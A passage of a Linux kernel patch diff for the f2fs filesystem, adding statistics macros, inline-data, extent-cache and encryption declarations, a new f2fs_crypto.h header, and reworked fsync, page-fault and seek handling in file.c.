f2fs_sb_info *); void stop_gc_thread(struct f2fs_sb_info *); -block_t start_bidx_of_node(unsigned int); -int f2fs_gc(struct f2fs_sb_info *); +block_t start_bidx_of_node(unsigned int, struct f2fs_inode_info *); +int f2fs_gc(struct f2fs_sb_info *, bool); void build_gc_manager(struct f2fs_sb_info *); -int __init create_gc_caches(void); -void destroy_gc_caches(void); /* * recovery.c @@ -1053,58 +1879,116 @@ bool space_for_roll_forward(struct f2fs_sb_info *); struct f2fs_stat_info { struct list_head stat_list; struct f2fs_sb_info *sbi; - struct mutex stat_lock; int all_area_segs, sit_area_segs, nat_area_segs, ssa_area_segs; int main_area_segs, main_area_sections, main_area_zones; - int hit_ext, total_ext; + unsigned long long hit_largest, hit_cached, hit_rbtree; + unsigned long long hit_total, total_ext; + int ext_tree, ext_node; int ndirty_node, ndirty_dent, ndirty_dirs, ndirty_meta; - int nats, sits, fnids; + int nats, dirty_nats, sits, dirty_sits, fnids; int total_count, utilization; - int bg_gc; + int bg_gc, inmem_pages, wb_pages; + int inline_xattr, inline_inode, inline_dir; unsigned int valid_count, valid_node_count, valid_inode_count; unsigned int bimodal, avg_vblocks; int util_free, util_valid, util_invalid; int rsvd_segs, overp_segs; int dirty_count, node_pages, meta_pages; - int prefree_count, call_count; + int prefree_count, call_count, cp_count; int tot_segs, node_segs, data_segs, free_segs, free_secs; + int bg_node_segs, bg_data_segs; int tot_blks, data_blks, node_blks; + int bg_data_blks, bg_node_blks; int curseg[NR_CURSEG_TYPE]; int cursec[NR_CURSEG_TYPE]; int curzone[NR_CURSEG_TYPE]; unsigned int segment_count[2]; unsigned int block_count[2]; - unsigned base_mem, cache_mem; + unsigned int inplace_count; + unsigned long long base_mem, cache_mem, page_mem; }; -#define stat_inc_call_count(si) ((si)->call_count++) +static inline struct f2fs_stat_info *F2FS_STAT(struct f2fs_sb_info *sbi) +{ + return (struct f2fs_stat_info *)sbi->stat_info; +} -#define stat_inc_seg_count(sbi, type) \ +#define stat_inc_cp_count(si) ((si)->cp_count++) +#define stat_inc_call_count(si) ((si)->call_count++) +#define stat_inc_bggc_count(sbi) ((sbi)->bg_gc++) +#define stat_inc_dirty_dir(sbi) ((sbi)->n_dirty_dirs++) +#define stat_dec_dirty_dir(sbi) ((sbi)->n_dirty_dirs--) +#define stat_inc_total_hit(sbi) (atomic64_inc(&(sbi)->total_hit_ext)) +#define stat_inc_rbtree_node_hit(sbi) (atomic64_inc(&(sbi)->read_hit_rbtree)) +#define stat_inc_largest_node_hit(sbi) (atomic64_inc(&(sbi)->read_hit_largest)) +#define stat_inc_cached_node_hit(sbi) (atomic64_inc(&(sbi)->read_hit_cached)) +#define stat_inc_inline_xattr(inode) \ + do { \ + if (f2fs_has_inline_xattr(inode)) \ + (atomic_inc(&F2FS_I_SB(inode)->inline_xattr)); \ + } while (0) +#define stat_dec_inline_xattr(inode) \ + do { \ + if (f2fs_has_inline_xattr(inode)) \ + (atomic_dec(&F2FS_I_SB(inode)->inline_xattr)); \ + } while (0) +#define stat_inc_inline_inode(inode) \ do { \ - struct f2fs_stat_info *si = sbi->stat_info; \ + if (f2fs_has_inline_data(inode)) \ + (atomic_inc(&F2FS_I_SB(inode)->inline_inode)); \ + } while (0) +#define stat_dec_inline_inode(inode) \ + do { \ + if (f2fs_has_inline_data(inode)) \ + (atomic_dec(&F2FS_I_SB(inode)->inline_inode)); \ + } while (0) +#define stat_inc_inline_dir(inode) \ + do { \ + if (f2fs_has_inline_dentry(inode)) \ + (atomic_inc(&F2FS_I_SB(inode)->inline_dir)); \ + } while (0) +#define stat_dec_inline_dir(inode) \ + do { \ + if (f2fs_has_inline_dentry(inode)) \ + (atomic_dec(&F2FS_I_SB(inode)->inline_dir)); \ + } while (0) +#define stat_inc_seg_type(sbi, curseg) \ + ((sbi)->segment_count[(curseg)->alloc_type]++) +#define stat_inc_block_count(sbi, curseg) \ + ((sbi)->block_count[(curseg)->alloc_type]++) +#define stat_inc_inplace_blocks(sbi) \ + (atomic_inc(&(sbi)->inplace_count)) +#define stat_inc_seg_count(sbi, type, gc_type) \ + do { \ + struct f2fs_stat_info *si = F2FS_STAT(sbi); \ (si)->tot_segs++; \ - if (type == SUM_TYPE_DATA) \ + if (type == SUM_TYPE_DATA) { \ si->data_segs++; \ - else \ + si->bg_data_segs += (gc_type == BG_GC) ? 1 : 0; \ + } else { \ si->node_segs++; \ + si->bg_node_segs += (gc_type == BG_GC) ? 1 : 0; \ + } \ } while (0) #define stat_inc_tot_blk_count(si, blks) \ (si->tot_blks += (blks)) -#define stat_inc_data_blk_count(sbi, blks) \ +#define stat_inc_data_blk_count(sbi, blks, gc_type) \ do { \ - struct f2fs_stat_info *si = sbi->stat_info; \ + struct f2fs_stat_info *si = F2FS_STAT(sbi); \ stat_inc_tot_blk_count(si, blks); \ si->data_blks += (blks); \ + si->bg_data_blks += (gc_type == BG_GC) ? (blks) : 0; \ } while (0) -#define stat_inc_node_blk_count(sbi, blks) \ +#define stat_inc_node_blk_count(sbi, blks, gc_type) \ do { \ - struct f2fs_stat_info *si = sbi->stat_info; \ + struct f2fs_stat_info *si = F2FS_STAT(sbi); \ stat_inc_tot_blk_count(si, blks); \ si->node_blks += (blks); \ + si->bg_node_blks += (gc_type == BG_GC) ? (blks) : 0; \ } while (0) int f2fs_build_stats(struct f2fs_sb_info *); @@ -1112,11 +1996,28 @@ void f2fs_destroy_stats(struct f2fs_sb_info *); void __init f2fs_create_root_stats(void); void f2fs_destroy_root_stats(void); #else +#define stat_inc_cp_count(si) #define stat_inc_call_count(si) -#define stat_inc_seg_count(si, type) +#define stat_inc_bggc_count(si) +#define stat_inc_dirty_dir(sbi) +#define stat_dec_dirty_dir(sbi) +#define stat_inc_total_hit(sb) +#define stat_inc_rbtree_node_hit(sb) +#define stat_inc_largest_node_hit(sbi) +#define stat_inc_cached_node_hit(sbi) +#define stat_inc_inline_xattr(inode) +#define stat_dec_inline_xattr(inode) +#define stat_inc_inline_inode(inode) +#define stat_dec_inline_inode(inode) +#define stat_inc_inline_dir(inode) +#define stat_dec_inline_dir(inode) +#define stat_inc_seg_type(sbi, curseg) +#define stat_inc_block_count(sbi, curseg) +#define stat_inc_inplace_blocks(sbi) +#define stat_inc_seg_count(sbi, type, gc_type) #define stat_inc_tot_blk_count(si, blks) -#define stat_inc_data_blk_count(si, blks) -#define stat_inc_node_blk_count(sbi, blks) +#define stat_inc_data_blk_count(sbi, blks, gc_type) +#define stat_inc_node_blk_count(sbi, blks, gc_type) static inline int f2fs_build_stats(struct f2fs_sb_info *sbi) { return 0; } static inline void f2fs_destroy_stats(struct f2fs_sb_info *sbi) { } @@ -1132,5 +2033,187 @@ extern const struct address_space_operations f2fs_node_aops; extern const struct address_space_operations f2fs_meta_aops; extern const struct inode_operations f2fs_dir_inode_operations; extern const struct inode_operations f2fs_symlink_inode_operations; +extern const struct inode_operations f2fs_encrypted_symlink_inode_operations; extern const struct inode_operations f2fs_special_inode_operations; +extern struct kmem_cache *inode_entry_slab; + +/* + * inline.c + */ +bool f2fs_may_inline_data(struct inode *); +bool f2fs_may_inline_dentry(struct inode *); +void read_inline_data(struct page *, struct page *); +bool truncate_inline_inode(struct page *, u64); +int f2fs_read_inline_data(struct inode *, struct page *); +int f2fs_convert_inline_page(struct dnode_of_data *, struct page *); +int f2fs_convert_inline_inode(struct inode *); +int f2fs_write_inline_data(struct inode *, struct page *); +bool recover_inline_data(struct inode *, struct page *); +struct f2fs_dir_entry *find_in_inline_dir(struct inode *, + struct f2fs_filename *, struct page **); +struct f2fs_dir_entry *f2fs_parent_inline_dir(struct inode *, struct page **); +int make_empty_inline_dir(struct inode *inode, struct inode *, struct page *); +int f2fs_add_inline_entry(struct inode *, const struct qstr *, struct inode *, + nid_t, umode_t); +void f2fs_delete_inline_entry(struct f2fs_dir_entry *, struct page *, + struct inode *, struct inode *); +bool f2fs_empty_inline_dir(struct inode *); +int f2fs_read_inline_dir(struct file *, void *, filldir_t, struct f2fs_str *); +int f2fs_inline_data_fiemap(struct inode *, + struct fiemap_extent_info *, __u64, __u64); + +/* + * shrinker.c + */ +int f2fs_shrink_count(struct shrinker *, struct shrink_control *); +int f2fs_shrink_scan(struct shrinker *, struct shrink_control *); +void f2fs_join_shrinker(struct f2fs_sb_info *); +void f2fs_leave_shrinker(struct f2fs_sb_info *); + +/* + * extent_cache.c + */ +unsigned int f2fs_shrink_extent_tree(struct f2fs_sb_info *, int); +void f2fs_drop_largest_extent(struct inode *, pgoff_t); +void f2fs_init_extent_tree(struct inode *, struct f2fs_extent *); +unsigned int f2fs_destroy_extent_node(struct inode *); +void f2fs_destroy_extent_tree(struct inode *); +bool f2fs_lookup_extent_cache(struct inode *, pgoff_t, struct extent_info *); +void f2fs_update_extent_cache(struct dnode_of_data *); +void f2fs_update_extent_cache_range(struct dnode_of_data *dn, + pgoff_t, block_t, unsigned int); +void init_extent_cache_info(struct f2fs_sb_info *); +int __init create_extent_cache(void); +void destroy_extent_cache(void); + +/* + * crypto support + */ +static inline int f2fs_encrypted_inode(struct inode *inode) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + return file_is_encrypt(inode); +#else + return 0; +#endif +} + +static inline void f2fs_set_encrypted_inode(struct inode *inode) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + file_set_encrypt(inode); +#endif +} + +static inline bool f2fs_bio_encrypted(struct bio *bio) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + return unlikely(bio->bi_private != NULL); +#else + return false; +#endif +} + +static inline int f2fs_sb_has_crypto(struct super_block *sb) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + return F2FS_HAS_FEATURE(sb, F2FS_FEATURE_ENCRYPT); +#else + return 0; +#endif +} + +static inline bool f2fs_may_encrypt(struct inode *inode) +{ +#ifdef CONFIG_F2FS_FS_ENCRYPTION + mode_t mode = inode->i_mode; + + return (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)); +#else + return 0; +#endif +} + +/* crypto_policy.c */ +int f2fs_is_child_context_consistent_with_parent(struct inode *, + struct inode *); +int f2fs_inherit_context(struct inode *, struct inode *, struct page *); +int f2fs_process_policy(const struct f2fs_encryption_policy *, struct inode *); +int f2fs_get_policy(struct inode *, struct f2fs_encryption_policy *); + +/* crypt.c */ +extern struct kmem_cache *f2fs_crypt_info_cachep; +bool f2fs_valid_contents_enc_mode(uint32_t); +uint32_t f2fs_validate_encryption_key_size(uint32_t, uint32_t); +struct f2fs_crypto_ctx *f2fs_get_crypto_ctx(struct inode *); +void f2fs_release_crypto_ctx(struct f2fs_crypto_ctx *); +struct page *f2fs_encrypt(struct inode *, struct page *); +int f2fs_decrypt(struct f2fs_crypto_ctx *, struct page *); +int f2fs_decrypt_one(struct inode *, struct page *); +void f2fs_end_io_crypto_work(struct f2fs_crypto_ctx *, struct bio *); + +/* crypto_key.c */ +void f2fs_free_encryption_info(struct inode *, struct f2fs_crypt_info *); +int _f2fs_get_encryption_info(struct inode *inode); + +/* crypto_fname.c */ +bool f2fs_valid_filenames_enc_mode(uint32_t); +u32 f2fs_fname_crypto_round_up(u32, u32); +int f2fs_fname_crypto_alloc_buffer(struct inode *, u32, struct f2fs_str *); +int f2fs_fname_disk_to_usr(struct inode *, f2fs_hash_t *, + const struct f2fs_str *, struct f2fs_str *); +int f2fs_fname_usr_to_disk(struct inode *, const struct qstr *, + struct f2fs_str *); + +#ifdef CONFIG_F2FS_FS_ENCRYPTION +void f2fs_restore_and_release_control_page(struct page **); +void f2fs_restore_control_page(struct page *); + +int __init f2fs_init_crypto(void); +int f2fs_crypto_initialize(void); +void f2fs_exit_crypto(void); + +int f2fs_has_encryption_key(struct inode *); + +static inline int f2fs_get_encryption_info(struct inode *inode) +{ + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + + if (!ci || + (ci->ci_keyring_key && + (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) | + (1 << KEY_FLAG_REVOKED) | + (1 << KEY_FLAG_DEAD))))) + return _f2fs_get_encryption_info(inode); + return 0; +} + +void f2fs_fname_crypto_free_buffer(struct f2fs_str *); +int f2fs_fname_setup_filename(struct inode *, const struct qstr *, + int lookup, struct f2fs_filename *); +void f2fs_fname_free_filename(struct f2fs_filename *); +#else +static inline void f2fs_restore_and_release_control_page(struct page **p) { } +static inline void f2fs_restore_control_page(struct page *p) { } + +static inline int __init f2fs_init_crypto(void) { return 0; } +static inline void f2fs_exit_crypto(void) { } + +static inline int f2fs_has_encryption_key(struct inode *i) { return 0; } +static inline int f2fs_get_encryption_info(struct inode *i) { return 0; } +static inline void f2fs_fname_crypto_free_buffer(struct f2fs_str *p) { } + +static inline int f2fs_fname_setup_filename(struct inode *dir, + const struct qstr *iname, + int lookup, struct f2fs_filename *fname) +{ + memset(fname, 0, sizeof(struct f2fs_filename)); + fname->usr_fname = iname; + fname->disk_name.name = (unsigned char *)iname->name; + fname->disk_name.len = iname->len; + return 0; +} + +static inline void f2fs_fname_free_filename(struct f2fs_filename *fname) { } +#endif #endif diff --git a/fs/f2fs/f2fs_crypto.h b/fs/f2fs/f2fs_crypto.h new file mode 100644 index 0000000000000..c2c1c2b63b255 --- /dev/null +++ b/fs/f2fs/f2fs_crypto.h @@ -0,0 +1,151 @@ +/* + * linux/fs/f2fs/f2fs_crypto.h + * + * Copied from linux/fs/ext4/ext4_crypto.h + * + * Copyright (C) 2015, Google, Inc. + * + * This contains encryption header content for f2fs + * + * Written by Michael Halcrow, 2015. + * Modified by Jaegeuk Kim, 2015. + */ +#ifndef _F2FS_CRYPTO_H +#define _F2FS_CRYPTO_H + +#include + +#define F2FS_KEY_DESCRIPTOR_SIZE 8 + +/* Policy provided via an ioctl on the topmost directory */ +struct f2fs_encryption_policy { + char version; + char contents_encryption_mode; + char filenames_encryption_mode; + char flags; + char master_key_descriptor[F2FS_KEY_DESCRIPTOR_SIZE]; +} __attribute__((__packed__)); + +#define F2FS_ENCRYPTION_CONTEXT_FORMAT_V1 1 +#define F2FS_KEY_DERIVATION_NONCE_SIZE 16 + +#define F2FS_POLICY_FLAGS_PAD_4 0x00 +#define F2FS_POLICY_FLAGS_PAD_8 0x01 +#define F2FS_POLICY_FLAGS_PAD_16 0x02 +#define F2FS_POLICY_FLAGS_PAD_32 0x03 +#define F2FS_POLICY_FLAGS_PAD_MASK 0x03 +#define F2FS_POLICY_FLAGS_VALID 0x03 + +/** + * Encryption context for inode + * + * Protector format: + * 1 byte: Protector format (1 = this version) + * 1 byte: File contents encryption mode + * 1 byte: File names encryption mode + * 1 byte: Flags + * 8 bytes: Master Key descriptor + * 16 bytes: Encryption Key derivation nonce + */ +struct f2fs_encryption_context { + char format; + char contents_encryption_mode; + char filenames_encryption_mode; + char flags; + char master_key_descriptor[F2FS_KEY_DESCRIPTOR_SIZE]; + char nonce[F2FS_KEY_DERIVATION_NONCE_SIZE]; +} __attribute__((__packed__)); + +/* Encryption parameters */ +#define F2FS_XTS_TWEAK_SIZE 16 +#define F2FS_AES_128_ECB_KEY_SIZE 16 +#define F2FS_AES_256_GCM_KEY_SIZE 32 +#define F2FS_AES_256_CBC_KEY_SIZE 32 +#define F2FS_AES_256_CTS_KEY_SIZE 32 +#define F2FS_AES_256_XTS_KEY_SIZE 64 +#define F2FS_MAX_KEY_SIZE 64 + +#define F2FS_KEY_DESC_PREFIX "f2fs:" +#define F2FS_KEY_DESC_PREFIX_SIZE 5 + +struct f2fs_encryption_key { + __u32 mode; + char raw[F2FS_MAX_KEY_SIZE]; + __u32 size; +} __attribute__((__packed__)); + +struct f2fs_crypt_info { + char ci_data_mode; + char ci_filename_mode; + char ci_flags; + struct crypto_ablkcipher *ci_ctfm; + struct key *ci_keyring_key; + char ci_master_key[F2FS_KEY_DESCRIPTOR_SIZE]; +}; + +#define F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL 0x00000001 +#define F2FS_WRITE_PATH_FL 0x00000002 + +struct f2fs_crypto_ctx { + union { + struct { + struct page *bounce_page; /* Ciphertext page */ + struct page *control_page; /* Original page */ + } w; + struct { + struct bio *bio; + struct work_struct work; + } r; + struct list_head free_list; /* Free list */ + }; + char flags; /* Flags */ +}; + +struct f2fs_completion_result { + struct completion completion; + int res; +}; + +#define DECLARE_F2FS_COMPLETION_RESULT(ecr) \ + struct f2fs_completion_result ecr = { \ + COMPLETION_INITIALIZER((ecr).completion), 0 } + +static inline int f2fs_encryption_key_size(int mode) +{ + switch (mode) { + case F2FS_ENCRYPTION_MODE_AES_256_XTS: + return F2FS_AES_256_XTS_KEY_SIZE; + case F2FS_ENCRYPTION_MODE_AES_256_GCM: + return F2FS_AES_256_GCM_KEY_SIZE; + case F2FS_ENCRYPTION_MODE_AES_256_CBC: + return F2FS_AES_256_CBC_KEY_SIZE; + case F2FS_ENCRYPTION_MODE_AES_256_CTS: + return F2FS_AES_256_CTS_KEY_SIZE; + default: + BUG(); + } + return 0; +} + +#define F2FS_FNAME_NUM_SCATTER_ENTRIES 4 +#define F2FS_CRYPTO_BLOCK_SIZE 16 +#define F2FS_FNAME_CRYPTO_DIGEST_SIZE 32 + +/** + * For encrypted symlinks, the ciphertext length is stored at the beginning + * of the string in little-endian format. + */ +struct f2fs_encrypted_symlink_data { + __le16 len; + char encrypted_path[1]; +} __attribute__((__packed__)); + +/** + * This function is used to calculate the disk space required to + * store a filename of length l in encrypted symlink format. + */ +static inline u32 encrypted_symlink_data_len(u32 l) +{ + return (l + sizeof(struct f2fs_encrypted_symlink_data) - 1); +} +#endif /* _F2FS_CRYPTO_H */ diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index 1cae864f8dfcd..f643a443464d5 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -19,12 +19,16 @@ #include #include #include +#include +#include #include "f2fs.h" #include "node.h" #include "segment.h" #include "xattr.h" #include "acl.h" +#include "gc.h" +#include "trace.h" #include static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, @@ -32,41 +36,32 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, { struct page *page = vmf->page; struct inode *inode = file_inode(vma->vm_file); - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - block_t old_blk_addr; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct dnode_of_data dn; - int err, ilock; + int err; f2fs_balance_fs(sbi); sb_start_pagefault(inode->i_sb); + f2fs_bug_on(sbi, f2fs_has_inline_data(inode)); + /* block allocation */ - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, page->index, ALLOC_NODE); + err = f2fs_reserve_block(&dn, page->index); if (err) { - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); goto out; } - - old_blk_addr = dn.data_blkaddr; - - if (old_blk_addr == NULL_ADDR) { - err = reserve_new_block(&dn); - if (err) { - f2fs_put_dnode(&dn); - mutex_unlock_op(sbi, ilock); - goto out; - } - } f2fs_put_dnode(&dn); - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); + file_update_time(vma->vm_file); lock_page(page); - if (page->mapping != inode->i_mapping || - page_offset(page) >= i_size_read(inode) || - !PageUptodate(page)) { + if (unlikely(page->mapping != inode->i_mapping || + page_offset(page) > i_size_read(inode) || + !PageUptodate(page))) { unlock_page(page); err = -EFAULT; goto out; @@ -76,13 +71,11 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, * check to see if the page is mapped already (no holes) */ if (PageMappedToDisk(page)) - goto out; - - /* fill the page */ - wait_on_page_writeback(page); + goto mapped; /* page is wholly or partially inside EOF */ - if (((page->index + 1) << PAGE_CACHE_SHIFT) > i_size_read(inode)) { + if (((loff_t)(page->index + 1) << PAGE_CACHE_SHIFT) > + i_size_read(inode)) { unsigned offset; offset = i_size_read(inode) & ~PAGE_CACHE_MASK; zero_user_segment(page, offset, PAGE_CACHE_SIZE); @@ -90,7 +83,17 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, set_page_dirty(page); SetPageUptodate(page); - file_update_time(vma->vm_file); + trace_f2fs_vm_page_mkwrite(page, DATA); +mapped: + /* fill the page */ + f2fs_wait_on_page_writeback(page, DATA); + + /* wait for GCed encrypted page writeback */ + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) + f2fs_wait_on_encrypted_page_writeback(sbi, dn.data_blkaddr); + + /* if gced page is attached, don't write to cold segment */ + clear_cold_data(page); out: sb_end_pagefault(inode->i_sb); return block_page_mkwrite_return(err); @@ -99,13 +102,90 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, static const struct vm_operations_struct f2fs_file_vm_ops = { .fault = filemap_fault, .page_mkwrite = f2fs_vm_page_mkwrite, - .remap_pages = generic_file_remap_pages, }; +static int get_parent_ino(struct inode *inode, nid_t *pino) +{ + struct dentry *dentry; + + inode = igrab(inode); + dentry = d_find_any_alias(inode); + iput(inode); + if (!dentry) + return 0; + + if (update_dent_inode(inode, inode, &dentry->d_name)) { + dput(dentry); + return 0; + } + + *pino = parent_ino(dentry); + dput(dentry); + return 1; +} + +static inline bool need_do_checkpoint(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + bool need_cp = false; + + if (!S_ISREG(inode->i_mode) || inode->i_nlink != 1) + need_cp = true; + else if (file_enc_name(inode) && need_dentry_mark(sbi, inode->i_ino)) + need_cp = true; + else if (file_wrong_pino(inode)) + need_cp = true; + else if (!space_for_roll_forward(sbi)) + need_cp = true; + else if (!is_checkpointed_node(sbi, F2FS_I(inode)->i_pino)) + need_cp = true; + else if (F2FS_I(inode)->xattr_ver == cur_cp_version(F2FS_CKPT(sbi))) + need_cp = true; + else if (test_opt(sbi, FASTBOOT)) + need_cp = true; + else if (sbi->active_logs == 2) + need_cp = true; + + return need_cp; +} + +static bool need_inode_page_update(struct f2fs_sb_info *sbi, nid_t ino) +{ + struct page *i = find_get_page(NODE_MAPPING(sbi), ino); + bool ret = false; + /* But we need to avoid that there are some inode updates */ + if ((i && PageDirty(i)) || need_inode_block_update(sbi, ino)) + ret = true; + f2fs_put_page(i, 0); + return ret; +} + +static void try_to_fix_pino(struct inode *inode) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + nid_t pino; + + down_write(&fi->i_sem); + fi->xattr_ver = 0; + if (file_wrong_pino(inode) && inode->i_nlink == 1 && + get_parent_ino(inode, &pino)) { + fi->i_pino = pino; + file_got_pino(inode); + up_write(&fi->i_sem); + + mark_inode_dirty_sync(inode); + f2fs_write_inode(inode, NULL); + } else { + up_write(&fi->i_sem); + } +} + int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) { struct inode *inode = file->f_mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_inode_info *fi = F2FS_I(inode); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + nid_t ino = inode->i_ino; int ret = 0; bool need_cp = false; struct writeback_control wbc = { @@ -114,81 +194,313 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) .for_reclaim = 0, }; - if (inode->i_sb->s_flags & MS_RDONLY) + if (unlikely(f2fs_readonly(inode->i_sb))) return 0; trace_f2fs_sync_file_enter(inode); + + /* if fdatasync is triggered, let's do in-place-update */ + if (get_dirty_pages(inode) <= SM_I(sbi)->min_fsync_blocks) + set_inode_flag(fi, FI_NEED_IPU); ret = filemap_write_and_wait_range(inode->i_mapping, start, end); + clear_inode_flag(fi, FI_NEED_IPU); + if (ret) { trace_f2fs_sync_file_exit(inode, need_cp, datasync, ret); return ret; } - /* guarantee free sections for fsync */ - f2fs_balance_fs(sbi); + /* if the inode is dirty, let's recover all the time */ + if (!datasync) { + f2fs_write_inode(inode, NULL); + goto go_write; + } - mutex_lock(&inode->i_mutex); + /* + * if there is no written data, don't waste time to write recovery info. + */ + if (!is_inode_flag_set(fi, FI_APPEND_WRITE) && + !exist_written_data(sbi, ino, APPEND_INO)) { - if (datasync && !(inode->i_state & I_DIRTY_DATASYNC)) + /* it may call write_inode just prior to fsync */ + if (need_inode_page_update(sbi, ino)) + goto go_write; + + if (is_inode_flag_set(fi, FI_UPDATE_WRITE) || + exist_written_data(sbi, ino, UPDATE_INO)) + goto flush_out; goto out; + } +go_write: + /* guarantee free sections for fsync */ + f2fs_balance_fs(sbi); - if (!S_ISREG(inode->i_mode) || inode->i_nlink != 1) - need_cp = true; - else if (is_cp_file(inode)) - need_cp = true; - else if (!space_for_roll_forward(sbi)) - need_cp = true; - else if (!is_checkpointed_node(sbi, F2FS_I(inode)->i_pino)) - need_cp = true; + /* + * Both of fdatasync() and fsync() are able to be recovered from + * sudden-power-off. + */ + down_read(&fi->i_sem); + need_cp = need_do_checkpoint(inode); + up_read(&fi->i_sem); if (need_cp) { /* all the dirty node pages should be flushed for POR */ ret = f2fs_sync_fs(inode->i_sb, 1); - } else { - /* if there is no written node page, write its inode page */ - while (!sync_node_pages(sbi, inode->i_ino, &wbc)) { - ret = f2fs_write_inode(inode, NULL); - if (ret) - goto out; - } - filemap_fdatawait_range(sbi->node_inode->i_mapping, - 0, LONG_MAX); - ret = blkdev_issue_flush(inode->i_sb->s_bdev, GFP_KERNEL, NULL); + + /* + * We've secured consistency through sync_fs. Following pino + * will be used only for fsynced inodes after checkpoint. + */ + try_to_fix_pino(inode); + clear_inode_flag(fi, FI_APPEND_WRITE); + clear_inode_flag(fi, FI_UPDATE_WRITE); + goto out; + } +sync_nodes: + sync_node_pages(sbi, ino, &wbc); + + /* if cp_error was enabled, we should avoid infinite loop */ + if (unlikely(f2fs_cp_error(sbi))) + goto out; + + if (need_inode_block_update(sbi, ino)) { + mark_inode_dirty_sync(inode); + f2fs_write_inode(inode, NULL); + goto sync_nodes; } + + ret = wait_on_node_pages_writeback(sbi, ino); + if (ret) + goto out; + + /* once recovery info is written, don't need to tack this */ + remove_dirty_inode(sbi, ino, APPEND_INO); + clear_inode_flag(fi, FI_APPEND_WRITE); +flush_out: + remove_dirty_inode(sbi, ino, UPDATE_INO); + clear_inode_flag(fi, FI_UPDATE_WRITE); + ret = f2fs_issue_flush(sbi); out: - mutex_unlock(&inode->i_mutex); trace_f2fs_sync_file_exit(inode, need_cp, datasync, ret); + f2fs_trace_ios(NULL, 1); return ret; } +static pgoff_t __get_first_dirty_index(struct address_space *mapping, + pgoff_t pgofs, int whence) +{ + struct pagevec pvec; + int nr_pages; + + if (whence != SEEK_DATA) + return 0; + + /* find first dirty page index */ + pagevec_init(&pvec, 0); + nr_pages = pagevec_lookup_tag(&pvec, mapping, &pgofs, + PAGECACHE_TAG_DIRTY, 1); + pgofs = nr_pages ? pvec.pages[0]->index : LONG_MAX; + pagevec_release(&pvec); + return pgofs; +} + +static bool __found_offset(block_t blkaddr, pgoff_t dirty, pgoff_t pgofs, + int whence) +{ + switch (whence) { + case SEEK_DATA: + if ((blkaddr == NEW_ADDR && dirty == pgofs) || + (blkaddr != NEW_ADDR && blkaddr != NULL_ADDR)) + return true; + break; + case SEEK_HOLE: + if (blkaddr == NULL_ADDR) + return true; + break; + } + return false; +} + +static inline int unsigned_offsets(struct file *file) +{ + return file->f_mode & FMODE_UNSIGNED_OFFSET; +} + +static loff_t vfs_setpos(struct file *file, loff_t offset, loff_t maxsize) +{ + if (offset < 0 && !unsigned_offsets(file)) + return -EINVAL; + if (offset > maxsize) + return -EINVAL; + + if (offset != file->f_pos) { + file->f_pos = offset; + file->f_version = 0; + } + return offset; +} + +static loff_t f2fs_seek_block(struct file *file, loff_t offset, int whence) +{ + struct inode *inode = file->f_mapping->host; + loff_t maxbytes = inode->i_sb->s_maxbytes; + struct dnode_of_data dn; + pgoff_t pgofs, end_offset, dirty; + loff_t data_ofs = offset; + loff_t isize; + int err = 0; + + mutex_lock(&inode->i_mutex); + + isize = i_size_read(inode); + if (offset >= isize) + goto fail; + + /* handle inline data case */ + if (f2fs_has_inline_data(inode) || f2fs_has_inline_dentry(inode)) { + if (whence == SEEK_HOLE) + data_ofs = isize; + goto found; + } + + pgofs = (pgoff_t)(offset >> PAGE_CACHE_SHIFT); + + dirty = __get_first_dirty_index(inode->i_mapping, pgofs, whence); + + for (; data_ofs < isize; data_ofs = (loff_t)pgofs << PAGE_CACHE_SHIFT) { + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, pgofs, LOOKUP_NODE_RA); + if (err && err != -ENOENT) { + goto fail; + } else if (err == -ENOENT) { + /* direct node does not exists */ + if (whence == SEEK_DATA) { + pgofs = PGOFS_OF_NEXT_DNODE(pgofs, + F2FS_I(inode)); + continue; + } else { + goto found; + } + } + + end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + + /* find data/hole in dnode block */ + for (; dn.ofs_in_node < end_offset; + dn.ofs_in_node++, pgofs++, + data_ofs = (loff_t)pgofs << PAGE_CACHE_SHIFT) { + block_t blkaddr; + blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + + if (__found_offset(blkaddr, dirty, pgofs, whence)) { + f2fs_put_dnode(&dn); + goto found; + } + } + f2fs_put_dnode(&dn); + } + + if (whence == SEEK_DATA) + goto fail; +found: + if (whence == SEEK_HOLE && data_ofs > isize) + data_ofs = isize; + mutex_unlock(&inode->i_mutex); + return vfs_setpos(file, data_ofs, maxbytes); +fail: + mutex_unlock(&inode->i_mutex); + return -ENXIO; +} + +static loff_t f2fs_llseek(struct file *file, loff_t offset, int whence) +{ + struct inode *inode = file->f_mapping->host; + loff_t maxbytes = inode->i_sb->s_maxbytes; + + switch (whence) { + case SEEK_SET: + case SEEK_CUR: + case SEEK_END: + return 